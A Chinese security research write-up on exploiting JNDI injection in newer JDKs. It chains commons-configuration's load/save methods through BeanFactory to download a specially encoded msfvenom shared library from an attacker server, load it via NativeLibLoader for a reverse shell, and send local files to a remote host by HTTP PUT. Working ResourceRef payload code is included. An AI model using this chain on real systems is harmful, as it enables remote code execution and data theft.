0x00 背景
我在前段时间写过一篇《探索高版本 JDK 下 JNDI 漏洞的利用方法》,里面例举了几种可以用作 JNDI 漏洞在Tomcat7和非Tomcat时的利用方法。
其中提到NativeLibLoader
能够实现 JNI 功能加载 so/dll/dylib 文件。
但有几个前提条件。
- 用户可以用某种方式写入一个文件内容开头可控的二进制文件
- 这个文件名必须是以 so/dll/dylib 结尾
- 必须知道这个文件的绝对路径
这几个条件会使危害大打折扣,所以需要再找到一个写文件的工具类。
通常写文件的类只会通过一个方法去写入。如:FileUtils.writeStringToFile(file,content)
但写文件的工具类基本上都要传入至少两个参数,即文件名和文件内容,这样就不满足BeanFactory的条件了。
所以如果要写文件只能分两步走。
XXX.setContent("hello")
XXX.saveToFile("/tmp/a.so")
例如这样,但符合条件且常用的库很少。
或者换一种思路,把写文件换成文件下载。
好在我运气够好手工找到commons-configuration
里面有一个。
0x01 初步分析
FileConfiguration
实现了这个接口的都是可以写文件的。
HierarchicalINIConfiguration
INIConfiguration
MultiFileHierarchicalConfiguration
PatternSubtreeConfigurationWrapper
PropertiesConfiguration
XMLConfiguration
XMLPropertiesConfiguration
PropertyListConfiguration
XMLPropertyListConfiguration
这几个类都实现自FileConfiguration
其中部分类有无参构造,且父抽象类里都有load(String)
和save(String)
方法。
从字面意思上就能看出来这是可以下载远程文件的。
先来看一下 load 和 save 方法是怎样处理的。
load(String)
org.apache.commons.configuration.AbstractFileConfiguration#load(java.lang.String)
第100行会根据fileName变量转成一个URL对象。
fileName 可以是文件路径也可以是一个 Java 支持协议的URL
e.g. fileName=/etc/passwd fileName=file:///etc/passwd fileName=http://b1ue.cn/1.txt
load(URL)
这里调用了 getInputStream 去获取URL的输入流
getInputStream
org.apache.commons.configuration.DefaultFileSystem#getInputStream(java.net.URL)
这里判断了文件如果不是目录类型就去获取输入流
load(InputStream,String)
这里去调用了子类重写的 load(Reader)
方法
save
save 方法和 load的流程是一样的。
0x02 筛选目标
首先明确一下目标,我要写一个文件头可控的二进制文件到指定的文件路径中。
所以首先要看一下筛选出来的那几个类有没有能够控制文件开头的。
INIConfiguration
文件开头就输出了一个[
,直接忽略。
HierarchicalINIConfiguration
同上,忽略。
XMLConfiguration / XMLPropertiesConfiguration / XMLPropertyListConfiguration
输出的都是XML格式,忽略。
PropertyListConfiguration
会输出{
开头,忽略。
只有 PropertiesConfiguration
是可以控制文件开头的。
0x03 Properties
跟进到org.apache.commons.configuration.PropertiesConfiguration.PropertiesWriter#writeProperty
看一下是如何去写文件内容的。
这里分别写入了 Key、分隔符、Value、换行。
要想控制文件的开头,就要能够完全控制 Key 。
这里在写入Key的时候会把\f\t空格:=
这几个字符前面都加上一个反斜杠\
Value 写入时则会用 escapeJava 进行一次 UNICODE 编码。
所以写文件的主要希望都在 Key 上面。
这里搞清楚了 Key Value 是怎么写的了,还需要知道 Key Value 怎么填充。
跟进PropertiesConfigurationLayout#load
可以看到它先把输入流转成了PropertiesReader
然后循环读取每一对Property并存储在集合等 save
时使用。
nextProperty
跟进第 152 行PropertiesReader#nextProperty
这里做了两件事,第一个是520行的读一行字符串,第二个是524行正则提取。
readProperty
这里只有一点需要注意:第507行会 trim 处理字符串的空字符,会影响到程序的完整。
parseProperty
这里用正则从读到的一行字符串里分别提取 “Key”、 “分隔符”、“Value” 并赋值。
这里需要注意的是 group(1) 获取到的内容必须是 so 文件的内容。
initPropertyXXX
这里分别给 Key 和 Value 赋值时进行了 Unicode 解码。
0x04 小结
把前面写的内容做一个阶段小结。
- 我可以写一个多行的这样格式的文件 Key=Value 或者 Key:Value 或者 Key空格Value
- Key在读取的时候会进行一次Unicode解码,写入的时候会在
空格\f\t=:
前面插入一个\
反斜杠 - Value在读取的时候会进行一次Unicode解码,在写入的时候会进行Unicode编码(“空格” “=” “:”不会处理),它的用处不大,可以置空也可以写简单的数据
以上是文件经过 PropertiesConfiguration 处理的前后对比。
所以需要让 unicode 编码后的 so 文件写在key部分,然后Value置空,Key 后面写的分隔符和Value不能影响到 so 文件的正常运行。
0x05 构造so文件
正常来讲编译出来的 so 都有可能会带上\f\t:=空格
这些字符,有些字符是可以替换的,有些则会影响到程序的正常运行。
一开始我以为 msfvenom 是可以用 -b 参数来避免出现这些字符的,但实际上并不能完全避开这些字符,不管怎么试都至少会有一个黑名单字符是删不掉也不能改的。
这里要感谢一下我滴两位大哥 @leommxj @swing帮忙才解决了问题,以及感谢“赛博回忆录”群友们的热心帮助(有兴趣的推荐加入这个知识星球学习)。
用 msfvenom 生成出来的 elf-so 会有一个 \x0c
,\x0c=\f
所以在 Key 部位写文件内容的时候会被处理,会破坏 so 的完整,此处也无法单独替换成别的字符。
经过 @leommxj 师傅的帮助,最终在高亮色部位做修改后既不影响程序的正常运行,又做到了去除\f
的效果。
按理说现在只需要对这个so文件全文进行UNICODE编码,然后在结尾加上 =
|空格
|:
就可以构造出一个待下载的so文件了。
我把 so 文件用StringEscapeUtils.escapeJava
进行了UNICODE编码处理并在文件结尾加了一个=
符号。
这样在读Property的时候 Key就是UNICODE解码后的 .so 文件内容,但在本地测试的时候发现它报了栈溢出,原因是默认的栈太小要匹配的文件内容太大,当我设置了JVM参数-Xss2m
时才通过了正则校验。
因为有太多的\\u0000
字符串,我删到剩了 1598b 左右就没有再报栈溢出了。
目前我想到有这几个思路
-
通过精简原文件再编码使其控制在1600左右的大小
-
通过写入多行Key 来使其每一行的长度在编码后不超过1600,并且在插入
=\n
|空格\n
|:\n
后不影响程序的正常运行
第二种方式更容易解决一点。
这个问题再一次在 @swing @leommxj 师傅的帮助下解决了。
在 E0h
位置高亮处替换成\x3d\x0a
即可。
经过这段代码测试后没有再爆出栈溢出的问题。
因为经过编码后的 so 文件分为了两行,每一行的字符都没有超过1600。
对比一下修改后的 worked.so 文件和经过解码后的 decode.so 文件除了最后面插入的一个=\n
以外没有其他变化。
0x06 写文件
首先准备好经过处理的 unicode.so 文件,开启一个 http 端口等待下载。
private ResourceRef downloadFile(String src, String desc) {
ResourceRef ref = new ResourceRef("org.apache.commons.configuration.PropertiesConfiguration", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=load,b=save"));
ref.add(new StringRefAddr("a",src));
ref.add(new StringRefAddr("b",desc));
return ref;
}
private ResourceRef nativeLoad(String path){
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../../../../../../.."+path));
return ref;
}
然后启动 LDAP 服务器准备返回这两个 ResourceRef 对象。
分别让有 JNDI 漏洞的应用去触发下载文件和加载so文件。
最终成功触发 so 反弹shell的代码,文件写入+RCE告一段落。
0x07 文件读取
前面讲到由 load 和 save 方法组成了文件下载的功能。
其实也不止可以下载文件,还可以把本地文件发送到远程服务器。
在 save 方法里它会有一个获取输出流的过程,当 save 方法传进来 url 获取的 file 对象是 null 的时候就会去发起一个 PUT HTTP 请求
把 save 和 load 传入的参数调换一下这样就可以做到文件读取的效果了。
还有一个需要注意的问题,java的file协议是支持读目录的,如果想要读取目录内容的话按照它 getInputStream 方法写的代码来看是无法直接读的,因为做了一个是否为目录的判断。
所以只要让 file = null 就可以了
file 协议也不让用,可以用 netdoc 可以代替。
我本地测试了一下可以用 INIConfiguration 来读取,读到的内容更全一点。